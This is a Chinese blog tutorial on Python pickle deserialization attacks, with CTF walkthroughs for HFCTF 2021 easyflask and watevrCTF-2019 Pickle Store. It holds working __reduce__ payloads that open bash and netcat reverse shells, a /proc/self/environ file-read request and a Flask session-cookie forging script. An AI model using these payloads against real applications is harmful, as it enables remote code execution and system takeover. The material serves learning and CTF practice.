python pickle中的反序列化漏洞
1.介绍漏洞:
Python里的反序列化攻击先来看看什么是序列化和反序列化。简单来说,序列化就是把数据结构转换成字节流,这样我们就可以把数据保存到文件里或者通过网络传输。反序列化则是把这些字节流再转换回原来的数据结构。
反序列化攻击的概述
反序列化过程有漏洞:如果我们反序列化了一个不可信的数据源,那就可能引发反序列化攻击。攻击者可以在序列化的数据里嵌入恶意代码,当你反序列化这个数据时,这些恶意代码就会被执行,可能会导致数据泄露、系统崩溃,甚至让攻击者远程控制你的系统。
2. Python Pickle模块概述
Pickle的基本功能
Pickle模块是Python自带的,它主要用来序列化和反序列化Python对象。你可以用Pickle把任何Python对象(包括复杂的数据结构)保存成字节流,然后在需要的时候再加载回来。
Pickle的工作原理
Pickle的工作原理其实很简单。序列化的时候,它会把Python对象转换成字节流,反序列化的时候,它会把字节流还原成Python对象。下面我们来看几个具体的例子。
Pickle的序列化与反序列化
序列化
序列化就是把Python对象转换成字节流。我们可以用pickle.dump
和pickle.dumps
来做这件事。pickle.dump
把对象序列化后写入文件,pickle.dumps
则返回一个字节流。
1 2 3 4 5 6 7 8 9 10 11
| import pickle
data = {'name': 'Alice', 'age': 25, 'city': 'New York'}
with open('data.pickle', 'wb') as file: pickle.dump(data, file)
data_bytes = pickle.dumps(data)
|
反序列化
反序列化就是把字节流还原成Python对象。我们可以用pickle.load
和pickle.loads
来做这件事。pickle.load
从文件中读取字节流并反序列化,pickle.loads
则直接反序列化一个字节流。
1 2 3 4 5 6 7 8
| import pickle
with open('data.pickle', 'rb') as file: data = pickle.load(file)
data = pickle.loads(data_bytes)
|
3. 反序列化攻击的原理
攻击机制
现在我们来看看反序列化攻击是怎么回事。攻击者可以在序列化的数据里嵌入恶意代码,当你反序列化这个数据时,这些恶意代码就会被执行。换句话说,如果你从不可信的数据来源反序列化数据,就等于是给了攻击者在你系统里执行代码的机会。
攻击者可以做什么
攻击者可以利用反序列化漏洞执行任意命令、修改或窃取数据。
示例代码
为了更清楚地说明问题,我们来看一个简单的反序列化攻击示例。
1 2 3 4 5 6 7 8 9 10 11 12 13
| import pickle import os
class Malicious: def __reduce__(self): return (os.system, ('echo Hacked!',))
malicious_data = pickle.dumps(Malicious())
pickle.loads(malicious_data)
|
详细解释
构造恶意代码:我们定义了一个Malicious类,并在__reduce__方法中指定要执行的命令。
序列化恶意对象:我们用pickle.dumps序列化这个恶意对象。
反序列化恶意对象:当我们用pickle.loads反序列化这个对象时,__reduce__方法会被调用,并执行指定的命令。
补充:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| 一.基础的pickle反序列化 pickle反序列化危害极大,不像php反序列化依赖恶意类和方法,而是直接可以RCE
关键代码
pickle.dumps(obj[, protocol])
功能:将obj对象序列化为string形式,而不是存入文件中。 参数: obj:想要序列化的obj对象。 protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
pickle.loads(string)
功能:从string中读出序列化前的obj对象。 参数: string:文件名称。
漏洞有关的魔术方法 __reduce__
构造方法,在反序列化的时候自动执行,类似于php中的_wake_up
__setstate__
在反序列化时自动执行。它可以在对象从其序列化状态恢复时,对对象进行自定义的状态还原。
|
常用payload(没有os模块)
1 2 3 4 5 6 7 8 9 10
| import pickle import base64 class A(object): def __reduce__(self): return (eval, ("__import__('os').popen('tac /flag').read()",)) a = A() a = pickle.dumps(a) print(base64.b64encode(a))
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 环境有os模块
import pickle import os import base64
class aaa(): def __reduce__(self): return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',))
a= aaa()
payload=pickle.dumps(a)
payload=base64.b64encode(payload) print(payload)
|
所以最好所有poc在linux上生成
我们刷题看看
[[HFCTF 2021 Final]easyflask] 题目复现
我们在buu上面复习这道题
打开题目
一路跟着提示走
这里有代码我们分析看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
|
import os import pickle
from base64 import b64decode from flask import Flask, request, render_template, session
app = Flask(__name__) app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), { 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, })
@app.route('/', methods=('GET',)) def index_handler(): if not session.get('u'): u = pickle.dumps(User()) session['u'] = u return "/file?file=index.js"
@app.route('/file', methods=('GET',)) def file_handler(): path = request.args.get('file') path = os.path.join('static', path) if not os.path.exists(path) or os.path.isdir(path) \ or '.py' in path or '.sh' in path or '..' in path or "flag" in path: return 'disallowed'
with open(path, 'r') as fp: content = fp.read() return content
@app.route('/admin', methods=('GET',)) def admin_handler(): try: u = session.get('u') if isinstance(u, dict): u = b64decode(u.get('b')) u = pickle.loads(u) except Exception: return 'uhh?'
if u.is_admin == 1: return 'welcome, admin' else: return 'who are you?'
if __name__ == '__main__': app.run('0.0.0.0', port=80, debug=False)
|
代码审阅
因为我们要执行命令,所以admin是不是1不重要
这里可能存在任意文件读取。去读一下环境变量
1
| payload:http://eed9b8a9-f54d-423c-ada6-494d4c67b12c.node5.buuoj.cn:81/file?file=/proc/self/environ
|
重要代码:
1 2 3 4 5 6 7 8 9 10 11 12 13
| User = type('User', (object,), { 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, } @app.route('/', methods=('GET',)) def index_handler(): if not session.get('u'): u = pickle.dumps(User()) session['u'] = u return "/file?file=index.js"
|
上面的函数也是
我们构造pickle反序列化脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import os import pickle import base64 User = type('User', (object,), { 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, '__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'",)) }) u = pickle.dumps(User()) print(base64.b64encode(u)) //ip对应的的服务器 ,port对应端口 服务器和端口就不公布出来,怕被打(服务器建议用国内的来弹)
|
用python命令来执行看看(建议在kali里面执行)
生成后的代码用:{‘u’:{‘b’:’生成后的代码’}}
然后去找脚本伪造session
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159
| """ Flask Session Cookie Decoder/Encoder """ __author__ = 'Wilson Sumanang, Alexandre ZANNI'
import sys import zlib from itsdangerous import base64_decode import ast
if sys.version_info[0] < 3: raise Exception('Must be using at least Python 3') elif sys.version_info[0] == 3 and sys.version_info[1] < 4: from abc import ABCMeta, abstractmethod else: from abc import ABC, abstractmethod
import argparse
from flask.sessions import SecureCookieSessionInterface class MockApp(object): def __init__(self, secret_key): self.secret_key = secret_key if sys.version_info[0] == 3 and sys.version_info[1] < 4: class FSCM(metaclass=ABCMeta): def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}".format(e) raise e def decode(session_cookie_value, secret_key=None): """ Decode a Flask cookie """ try: if(secret_key==None): compressed = False payload = session_cookie_value if payload.startswith('.'): compressed = True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}".format(e) raise e else: class FSCM(ABC): def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}".format(e) raise e def decode(session_cookie_value, secret_key=None): """ Decode a Flask cookie """ try: if(secret_key==None): compressed = False payload = session_cookie_value if payload.startswith('.'): compressed = True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}".format(e) raise e if __name__ == "__main__": parser = argparse.ArgumentParser( description='Flask Session Cookie Decoder/Encoder', epilog="Author : Wilson Sumanang, Alexandre ZANNI") subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand') parser_encode = subparsers.add_parser('encode', help='encode') parser_encode.add_argument('-s', '--secret-key', metavar='<string>', help='Secret key', required=True) parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>', help='Session cookie structure', required=True) parser_decode = subparsers.add_parser('decode', help='decode') parser_decode.add_argument('-s', '--secret-key', metavar='<string>', help='Secret key', required=False) parser_decode.add_argument('-c', '--cookie-value', metavar='<string>', help='Session cookie value', required=True) args = parser.parse_args() if(args.subcommand == 'encode'): if(args.secret_key is not None and args.cookie_structure is not None): print(FSCM.encode(args.secret_key, args.cookie_structure)) elif(args.subcommand == 'decode'): if(args.secret_key is not None and args.cookie_value is not None): print(FSCM.decode(args.cookie_value,args.secret_key)) elif(args.cookie_value is not None): print(FSCM.decode(args.cookie_value))
|
弄好之后我们在kali执行命令
1
| python3 session.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u':{'b':'生成后的代码'}}" (生成的代码那个b不用删就是这里面这个)
|
建议用火狐浏览器
打开
1 2 3 4 5 6 7 8 9
| @app.route('/admin', methods=('GET',)) def admin_handler(): try: u = session.get('u') if isinstance(u, dict): u = b64decode(u.get('b')) u = pickle.loads(u) except Exception: return 'uhh?'
|
看这代码就知道 漏洞所在
1
| http://7e9d9943-2aab-4503-bc52-82e0ff2d66fa.node5.buuoj.cn:81/admin
|
更改session的值(值为命令生成的)
1
| eyJ1Ijp7ImIiOiJnQVNWS3dBQUFBQUFBQUNNQlhCdmMybDRsSXdHYzNsemRHVnRsSk9VakJCallYUWdMMlpzWVdjK0wzUmxjM1F5bElXVVVwUXUifX0.ZpotHA.dYvSwHyKujvsO3PrvBmCJUW6mMI
|
放入值更改后刷新一下就可以了
我们在我们服务器里面监听即可
1
| nc -lvnp port //port 为你弹shell的那个(先监听后弹shell)
|
接下来我们使用常用rce题目就出了
问题解决
还看一个大佬这样写但是我现在复现不出
[HFCTF 2021 Final]easyflask-CSDN博客](https://blog.csdn.net/daimakunnanhu/article/details/138114983?ops_request_misc={"request_id"%3A"172137775716800222819216"%2C"scm"%3A"20140713.130102334.."}&request_id=172137775716800222819216&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-138114983-null-null.142^v100^pc_search_result_base9&utm_term=[HFCTF 2021 Final]easyflask&spm=1018.2226.3001.4187)
[watevrCTF-2019]Pickle Store 复现
题目提示:pickle 反序列化
第一步查看注意cookie session
打开题目
使用pickle脚本 来还原cookie session值
1 2 3 4 5 6
| import pickle from base64 import *
enc="" //里面为session值 print(pickle.loads(b64decode(enc)))
|
运行脚本后
1 2 3
| └─ {'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}
|
确实有作用对应题目之后我们买个100的再运行脚本看看
1 2
| └─ {'money': 400, 'history': ['Yummy smörgåsgurka'], 'anti_tamper_hmac': '464fb519eccd90037ca807319d45786d'}
|
有变化于是我们可以在这弹shell来执行任意文件执行
第二步准备弹shell
弹shell脚本 其一
1 2 3 4 5 6 7 8 9 10
| mport base64 import pickle
class A(object): def __reduce__(self): return (eval, ("__import__('os').system('nc ip port -e/bin/sh')",)) a = A() print( base64.b64encode( pickle.dumps(a) ) )
|
把生成出来的exp
其中只要把g开头=结尾的内容复制
放入session里刷新几次 弹shell需要好几次的别着急
连接成功
第三步 RCE flag
输入相应命令出现flag
问题解决。